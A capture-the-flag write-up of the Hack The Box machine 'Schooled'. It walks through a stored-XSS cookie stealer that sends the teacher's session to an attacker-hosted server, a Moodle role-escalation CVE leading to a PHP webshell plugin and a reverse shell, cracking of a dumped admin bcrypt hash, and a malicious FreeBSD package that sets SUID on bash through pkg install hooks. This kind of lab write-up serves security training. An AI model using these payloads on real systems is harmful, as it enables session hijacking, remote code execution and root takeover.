Schooled is a medium rated box on hackthebox created by TheCyberGeek. It involves some amount of enumeration to discover a vhost, XSS to get to a privileged user and CVE in moodle to get a foothold on the machine. For the root part we will find credentials in a database which we crack with hashcat. Finally we will create our own malicious FreeBSD package to escalate to the root user.
User
Nmap
As usual we start our enumeration off with a nmap scan for a first recon on the machine. The scan shows ports 22, 80 and 33060 open against which we run an additional script and version detection scan.
All ports
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.186.182
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-14 09:55 GMT
Nmap scan report for 10.129.186.182
Host is up (0.026s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
33060/tcp open mysqlx
Nmap done: 1 IP address (1 host up) scanned in 385.60 seconds
Script and version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ sudo nmap -sC -sV -p 22,80,33060 10.129.186.182
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-14 10:03 GMT
Nmap scan report for 10.129.186.182
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
[snip]
...
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds
schooled.htb
Going to port 80 we can see a website for a school which seems to be completly static so it is not of much use to us. However there is a possible vhost name at the botton of the page.
moodle.schooled.htb
Teacher
Since there doesnโt seem to be much of an attack surface on the initial page and we discovered a vhost, we fuzz with ffuf for additional vhosts in the next step. This gets us the page moodle.schooled.htb
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://schooled.htb -H 'Host: FUZZ.schooled.htb' -fs 20750
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://schooled.htb
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.schooled.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 20750
________________________________________________
moodle [Status: 200, Size: 84, Words: 5, Lines: 2]
:: Progress: [114441/114441] :: Job [1/1] :: 489 req/sec :: Duration: [0:03:45] :: Errors: 0 ::
Adding it to our /etc/hosts
file and going to the page there is a moodle installation running. Moodle is a popular school software.
Going over to the login page we are can see that we are able to create a new account.
Trying to signup we get an error message stating we need a student.schooled.htb
email address.
Exchanging our email domain from a.com
to student.schooled.htb
we are able to successfully create an account.
Going over to Site home
and the mathematics course, we see that we can self enroll into it and that no enrolment key is required.
After enrolling we go over to announcements and the Reminder for joining students
contains some interesting information. New students are required to set their MoodleNet profile
and the teacher seems to be checking this. This means if we find a XSS vulnerability on the profile page we might be able to steal the teachers cookie and impersonate him.
Looking for vulnerabilties in the MoodleNet field in the user profile we find a possible stored XSS vulnerability in CVE-2020-25627, which seems to be just what we need to advance right now. Also the HttpOnly
flag for the session cookie is not set which promises success.
To exploit it we put this payload in the MoodleNet profile, editing the profile of the user we created.
We choose a payload that includes a javascript file hosted by use to have more room to work with.
1
<script src="http://10.10.14.65/a.js"></script>
After that we standup a python webserver on port 80, hosting a script with the following content and update the profile containing our payload.
a.js
1
2
3
4
5
var cookie = document.cookie;
xhr = new XMLHttpRequest();
xhr.open('GET', 'http://10.10.14.65/' + cookie, false);
xhr.send();
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
The teacher looks every two minutes at the users profiles, so we get a hit on our webserver back relatively quick with the teachers session id.
1
2
3
4
5
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.186.182 - - [14/Aug/2021 10:46:20] "GET /a.js HTTP/1.1" 200 -
10.129.186.182 - - [14/Aug/2021 10:46:20] code 404, message File not found
10.129.186.182 - - [14/Aug/2021 10:46:20] "GET /MoodleSession=2h002baljt8tk8eb9dl201ar58 HTTP/1.1" 404 -
Switching his session id with ours in the browser we are now logged in as Manuel Phillips and have some additional rights.
Manager
Going over to a course we can now click on the Moodle Docs for this page
link, which takes us to the corresponding Documentation of the running moodle version.
Having the version identified as 3.9 we can now look for additional CVEโs for this Version and find one in CVE-2020-14321. Following this PoC video on youtube and this github repository we are able to gain RCE on the server. The first step for this exploit is to find a user with the manager role assigned, which we then can in impersonate in a following step.
This user turns out to be Lianne. We navigate to the Participants menu in the mathematics course, click on enrol users and select Lianne.
Then we intercept the request in burp and send it to repeater. Following the video we turn off intercepting and switch the userlist parameter in the request to the profile id of Manuel which is 24, we also change the roletoassign
parameter to 1 and send the request in repeater. We can also assign additional roles to the user by changing the roletoassign
parameter to different values.
Only the manager role is important but we can proof to add about any role to the user repeating the process with different numbers.
Refreshing the participants page we see a lot of additional roles assigned to the teacher. Clicking on Lianne Carter we can log in as her due to our manager
role.
After logging in we see she has site administration privileges.
Following the PoC we browse to Site administration
=> Users
=> Define roles
=> Manager
=> Edit
to give ourselves the most permissions possible.
We set intercept in burp and click on save changes. In the request we change the permission for the ones listed in README.md of the earlier mentioned github repository. This gives us most possible access on the moodle installation.
RCE
Following the PoC we go to Site administration
=> Plugins
=> Install Plugins
=> Choose a file...
and select the rce.zip
we downloaded from the repository.
Unpacking the zip locally it contains a README.md
with the path for the uploaded webshell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ find rce/
rce/
rce/lang
rce/lang/en
rce/lang/en/block_rce.php
rce/version.php
$ cat README.md
# Moodle_RCE
### From admin, goto:
*domain/admin/tool/installaddon/index.php*
Upload rce.zip
### Trigger RCE
*domain/blocks/rce/lang/en/block_rce.php?cmd=id*
#### Video PoC
$ cat rce/lang/en/block_rce.php
<?php system($_GET['cmd']); ?>
The README.md contains the path to the upload functionality and also the location the webshell getโs placed after unzipping and installing it.
After clicking on install and continue the plugin getโs successfully installed. Browsing to it and testing it we have achieved RCE on the server.
We send the request to burp repeater set up a ncat listener and send ourselves a reverse shell.
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
We get a connection back instantly. Python is not in the path to upgrade our shell but we can identify its location with a quick find command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.186.182.
Ncat: Connection from 10.129.186.182:59672.
bash: cannot set terminal process group (2088): Can't assign requested address
bash: no job control in this shell
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: python3: command not found
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ find / -name python3 2>/dev/null
/usr/local/bin/python3
/usr/local/share/bash-completion/completions/python3
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ /usr/local/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ export TERM=xterm
</data/moodle/blocks/rce/lang/en]$ export TERM=xterm
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ ^Z
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
55 cols 235d /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ stty rows
Database
After doing some enumeration on the machine we are able to find database credentials in /usr/local/www/apache24/data/moodle/config.php
. Using these credentials we are able to retrieve the password hashes from the moodle database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ /usr/local/bin/mysql -u moodle -D moodle -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 657
Server version: 8.0.23 Source distribution
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
moodle@localhost [moodle]> select username,password from mdl_user;
+-------------------+--------------------------------------------------------------+
| username | password |
+-------------------+--------------------------------------------------------------+
| guest | $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2 |
| admin | $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW |
| bell_oliver89 | $2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK |
| orchid_sheila89 | $2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC |
| chard_ellzabeth89 | $2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC |
| morris_jake89 | $2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy |
| heel_james89 | $2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim |
| nash_michael89 | $2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu |
| singh_rakesh89 | $2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu |
| taint_marcus89 | $2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa |
| walls_shaun89 | $2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga |
| smith_john89 | $2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em |
| white_jack89 | $2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK |
| travis_carl89 | $2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S |
| mac_amy89 | $2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i |
| james_boris89 | $2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq |
| pierce_allan | $2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy |
| henry_william89 | $2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu |
| harper_zoe89 | $2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy |
| wright_travis89 | $2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm |
| allen_matthew89 | $2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq |
| sanders_wallis89 | $2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u |
| higgins_jane | $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2 |
| phillips_manuel | $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG |
| carter_lianne | $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe |
| parker_dan89 | $2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi |
| parker_tim89 | $2y$10$YCYp8F91YdvY2QCg3Cl5r.jzYxMwkwEm/QBGYIs.apyeCeRD7OD6S |
| sm1l3z | $2y$10$UZi9q.8k4va9A2JzhQIKgecCBC54EDyIlEKygtaspINhP91mcWPY. |
+-------------------+--------------------------------------------------------------+
28 rows in set (0.00 sec)
moodle@localhost [moodle]>
The admin hash is of particular interest to us so we try to crack it with hashcat and are successful at it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ hashcat -m 3200 -O hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.1.1) starting...
...
[snip]
...
Dictionary cache hit:
* Filename..: /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx
ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW
Time.Started.....: Sun Apr ย 4 00:56:00 2021 (5 mins, 15 secs)
Time.Estimated...: Sun Apr ย 4 01:01:15 2021 (0 secs)
Guess.Base.......: File (/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: ย ย ย ย ย ย 44 H/s (11.16ms) @ Accel:2 Loops:128 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 13892/14344384 (0.10%)
Rejected.........: 0/13892 (0.00%)
Restore.Point....: 13888/14344384 (0.10%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:896-1024
Candidates.#1....: 010890 -> !QAZ2wsx
Started: Sun Apr ย 4 00:55:27 2021
Stopped: Sun Apr ย 4 01:01:17 2021
Since there are only 2 users steve and jamie on the machine we can try the password with ssh for both of them, are able to login as jamie with the password !QAZ2wsx
and grab the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ssh jamie@schooled.htb
The authenticity of host 'schooled.htb (10.129.89.235)' can't be established.
ECDSA key fingerprint is SHA256:BiWc+ARPWyYTueBR7SHXcDYRuGsJ60y1fPuKakCZYDc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'schooled.htb,10.129.89.235' (ECDSA) to the list of known hosts.
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from 10.10.14.5
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021
Welcome to FreeBSD!
Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/
Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier
To change this login announcement, see motd(5).
Need to see the calendar for this month? Simply type "cal". To see the
whole year, type "cal -y".
-- Dru <genesis@istar.ca>
jamie@Schooled:~ $ wc -c user.txt
33 user.txt
jamie@Schooled:~ $
Root
Manual package
Running sudo -l
as jamie we see he can update the pkg repository and als install random packages.
1
2
3
4
jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
ย ย ย (ALL) NOPASSWD: /usr/sbin/pkg update
ย ย ย (ALL) NOPASSWD: /usr/sbin/pkg install *
Looking at the config file for pkg we can see it points to the host devops.htb. The way this was intended to be solved was to use both the update and install command. That is why we are in the wheel group which can edit the /etc/hosts
file. We will first solve it this way and then cover a quicker simpler solution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
jamie@Schooled:~ $ cat /etc/pkg/FreeBSD.conf
# $FreeBSD$
#
# To disable this repository, instead of modifying or removing this file,
# create a /usr/local/etc/pkg/repos/FreeBSD.conf file:
#
# mkdir -p /usr/local/etc/pkg/repos
# echo "FreeBSD: { enabled: no }" > /usr/local/etc/pkg/repos/FreeBSD.conf
#
FreeBSD: {
url: "pkg+http://devops.htb:80/packages",
mirror_type: "srv",
signature_type: "none",
fingerprints: "/usr/share/keys/pkg",
enabled: yes
}
1
2
jamie@Schooled:~ $ ls -la /etc/hosts
-rw-rw-r-- 1 root wheel 1098 Mar 17 15:47 /etc/hosts
/etc/hosts
being writable means we can point the repository update to our machine hosting a repo with a package containing a malicious postinstall script. In this script we can run any command we want as root. I chose to give bash suid.
For the package creation these two blogposts are helpful.
Following them we can create our own package and make a repository out of it, which
we then copy over to our machine via scp. Since the necessary tools to create the repository are already on the machine we will do it there. There is also a cleanup script running on the machine so we will work out of a folder it does not clean. First we follow the blogpost to write a package creation script with a pre and postinstall hook giving bash the suid bit and create a copy of /etc/hosts
where devops.htb
get resolved to our ip.
create_packet.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/sh
STAGEDIR=/tmp/stage
rm -rf $STAGEDIR
mkdir -p $STAGEDIR
cat >> $STAGEDIR/+PRE_DEINSTALL << "EOF"
# careful here, this may clobber your system
echo "Resetting root shell"
chmod +s /bin/bash
EOF
cat >> $STAGEDIR/+POST_INSTALL << "EOF"
# careful here, this may clobber your system
echo "Registering root shell"
chmod +s /bin/bash
EOF
cat >> $STAGEDIR/+MANIFEST << "EOF"
name: mypackage
version: "2.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF
echo "deps: {" >> $STAGEDIR/+MANIFEST
pkg query " %n: { version: \"%v\", origin: %o }" portlint >> $STAGEDIR/+MANIFEST
pkg query " %n: { version: \"%v\", origin: %o }" poudriere >> $STAGEDIR/+MANIFEST
echo "}" >> $STAGEDIR/+MANIFEST
mkdir -p $STAGEDIR/usr/local/etc
echo "# hello world" > $STAGEDIR/usr/local/etc/my.conf
echo "/usr/local/etc/my.conf" > $STAGEDIR/plist
pkg create -m $STAGEDIR/ -r $STAGEDIR/ -p $STAGEDIR/plist -o .
/home/jamie/hosts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
jamie@Schooled:~ $ cat hosts
# $FreeBSD$
#
# Host Database
#
# This file should contain the addresses and aliases for local hosts that
# share this file. Replace 'my.domain' below with the domainname of your
# machine.
#
# In the presence of the domain name service or NIS, this file may
# not be consulted at all; see /etc/nsswitch.conf for the resolution order.
#
#
::1 localhost localhost.my.domain
127.0.0.1 localhost localhost.my.domain Schooled schooled.htb moodle.schooled.htb
10.10.14.65 devops.htb
#
# Imaginary network.
#10.0.0.2 myname.my.domain myname
#10.0.0.3 myfriend.my.domain myfriend
#
# According to RFC 1918, you can use the following IP networks for
# private nets which will never be connected to the Internet:
#
# 10.0.0.0 - 10.255.255.255
# 172.16.0.0 - 172.31.255.255
# 192.168.0.0 - 192.168.255.255
#
# In case you want to be able to connect to the Internet, you need
# real official assigned numbers. Do not try to invent your own network
# numbers but instead get one from your network provider (if any) or
# from your regional registry (ARIN, APNIC, LACNIC, RIPE NCC, or AfriNIC.)
#
jamie@Schooled:~ $
In a next step we create the necessary files and use pkg
to package them up to a repository.
1
2
3
4
5
jamie@Schooled:/tmp $ bash /home/jamie/create_packet.sh && mkdir packages
jamie@Schooled:/tmp $ mv mypackage-2.0_5.txz packages/
jamie@Schooled:/tmp $ pkg repo /tmp/packages
Creating repository in /tmp/packages: 100%
Packing files for repository: 100%
We move the repository back to our machine with scp and host it with a python webserver.
1
2
3
4
5
6
$ scp -r jamie@schooled.htb:/tmp/packages .
Password for jamie@Schooled:
packagesite.txz 100% 472 1.6KB/s 00:00
mypackage-2.0_5.txz 100% 632 18.6KB/s 00:00
meta.txz 100% 240 6.6KB/s 00:00
meta.conf 100% 163 4.5KB/s 00:00
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now we can install the package after copying our modified hosts
file over the real one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
jamie@Schooled:/tmp $ cp /home/jamie/hosts /etc/hosts && sudo pkg update && sudo pkg install mypackage
Updating FreeBSD repository catalogue...
Fetching meta.conf: 100% 163 B 0.2kB/s 00:01
Fetching packagesite.txz: 100% 472 B 0.5kB/s 00:01
Processing entries: 100%
FreeBSD repository update completed. 1 packages processed.
All repositories are up to date.
Updating FreeBSD repository catalogue...
FreeBSD repository is up to date.
All repositories are up to date.
The following 1 package(s) will be affected (of 0 checked):
Installed packages to be UPGRADED:
mypackage: 1.1_5 -> 2.0_5
Number of packages to be upgraded: 1
632 B to be downloaded.
Proceed with this action? [y/N]: y
[1/1] Fetching mypackage-2.0_5.txz: 100% 632 B 0.6kB/s 00:01
Checking integrity... done (0 conflicting)
[1/1] Upgrading mypackage from 1.1_5 to 2.0_5...
[1/1] Extracting mypackage-2.0_5: 100%
Resetting root shell
Registering root shell
Upon updating and installing it we get hits for the files on our webserver.
1
2
3
4
5
10.129.186.182 - - [04/Apr/2021 16:28:51] "GET /packages/meta.conf HTTP/1.1" 200 -
10.129.186.182 - - [04/Apr/2021 16:28:51] "GET /packages/packagesite.txz HTTP/1.1" 200 -
10.129.186.182 - - [04/Apr/2021 16:28:53] "GET /packages/meta.conf HTTP/1.1" 304 -
10.129.186.182 - - [04/Apr/2021 16:28:53] "GET /packages/packagesite.txz HTTP/1.1" 304 -
10.129.186.182 - - [04/Apr/2021 16:28:55] "GET /packages/mypackage-2.0_5.txz HTTP/1.1" 200 -
The code got executed and we can use the suid bash to escalate to the root user.
1
2
3
4
jamie@Schooled:/tmp $ bash -p
[jamie@Schooled /tmp]# id
uid=1001(jamie) gid=1001(jamie) euid=0(root) egid=0(wheel) groups=0(wheel)
[jamie@Schooled /tmp]#
FPM package
There is also another method involving pkg and fpm which is much quicker than the intended one. There was no entry for pkg in gtfobins at the time for release, but it got added later by a HTB user after doing the box.
First we have to create the package with fpm using the following steps.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ TF=$(mktemp -d)
$ echo 'chmod +s /bin/bash' > $TF/x.sh
$ fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
DEPRECATION NOTICE: XZ::StreamWriter#close will automatically close the wrapped IO in the future. Use #finish to prevent that.
/var/lib/gems/2.7.0/gems/ruby-xz-0.2.3/lib/xz/stream_writer.rb:185:in `initialize'
/var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `new'
/var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `block in output'
/var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `open'
/var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `output'
/var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/command.rb:487:in `execute'
/var/lib/gems/2.7.0/gems/clamp-1.0.1/lib/clamp/command.rb:68:in `run'
/var/lib/gems/2.7.0/gems/fpm-1.12.0/lib/fpm/command.rb:574:in `run'
/var/lib/gems/2.7.0/gems/clamp-1.0.1/lib/clamp/command.rb:133:in `run'
/var/lib/gems/2.7.0/gems/fpm-1.12.0/bin/fpm:7:in `<top (required)>'
/usr/local/bin/fpm:23:in `load'
/usr/local/bin/fpm:23:in `<main>'
Created package {:path=>"x-1.0.txz"}
Now we can transfer the created package over with curl, install it with the --no-repo-update
flag, drop into a root shell and grab the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
jamie@Schooled:~ $ sudo pkg install -y --no-repo-update ./x-1.0.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
x: 1.0
Number of packages to be installed: 1
[1/1] Installing x-1.0...
Extracting x-1.0: 100%
jamie@Schooled:~ $ bash -p
[jamie@Schooled ~]# id
uid=1001(jamie) gid=1001(jamie) euid=0(root) egid=0(wheel) groups=0(wheel)
[jamie@Schooled ~]# wc -c /root/root.txt
33 /root/root.txt